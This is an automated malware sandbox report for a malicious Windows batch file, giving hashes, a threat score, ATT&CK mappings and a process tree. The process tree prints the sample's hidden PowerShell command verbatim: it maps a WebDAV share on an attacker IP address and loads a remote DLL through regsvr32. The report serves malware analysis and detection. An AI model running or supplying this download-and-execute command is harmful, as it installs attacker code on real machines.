994476ed1bb4202c4efb908e8c8d57d6be3837b76c4a7287d4d537c63907a038

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 03:26 UTC

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General

Target

5e13d1b252311c680b84c1c87c7487bf7724609c9bf572b72db0a49168dbf156.bat
Size

15KB
MD5

bdf3d064c172015f3f49bbabc00c7e4a
SHA1

3261d02778ef25bd8a3067f25d0c9f103100bcbe
SHA256

5e13d1b252311c680b84c1c87c7487bf7724609c9bf572b72db0a49168dbf156
SHA512

85a93a7fcdc0eb60ad360dc8c248c3aef6cbad3919933068e414276de1a60cf0cf842ca7b4514bb53e3aa0c027e8dd7becdad0698c03d53635459059411031af
SSDEEP

384:BdQT+1v7GWrOQcqT+PTFWvgiD8AhRqdia4nIk1dtt7ttqjEFPx7s01f:bz1FfqUPDGGhXFZ401f

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2944	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2944	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2576	wordpad.exe
2576	wordpad.exe
2576	wordpad.exe
2576	wordpad.exe
2576	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 2576	2316	cmd.exe	31
PID 2316 wrote to memory of 2576	2316	cmd.exe	31
PID 2316 wrote to memory of 2576	2316	cmd.exe	31
PID 2316 wrote to memory of 2944	2316	cmd.exe	32
PID 2316 wrote to memory of 2944	2316	cmd.exe	32
PID 2316 wrote to memory of 2944	2316	cmd.exe	32
PID 2944 wrote to memory of 2804	2944	powershell.exe	34
PID 2944 wrote to memory of 2804	2944	powershell.exe	34
PID 2944 wrote to memory of 2804	2944	powershell.exe	34
PID 2944 wrote to memory of 2724	2944	powershell.exe	35
PID 2944 wrote to memory of 2724	2944	powershell.exe	35
PID 2944 wrote to memory of 2724	2944	powershell.exe	35
PID 2944 wrote to memory of 2724	2944	powershell.exe	35
PID 2944 wrote to memory of 2724	2944	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\5e13d1b252311c680b84c1c87c7487bf7724609c9bf572b72db0a49168dbf156.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\47312627127348.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2804
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\47312627127348.dll
    3⤵
    PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2944-23-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2944-24-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download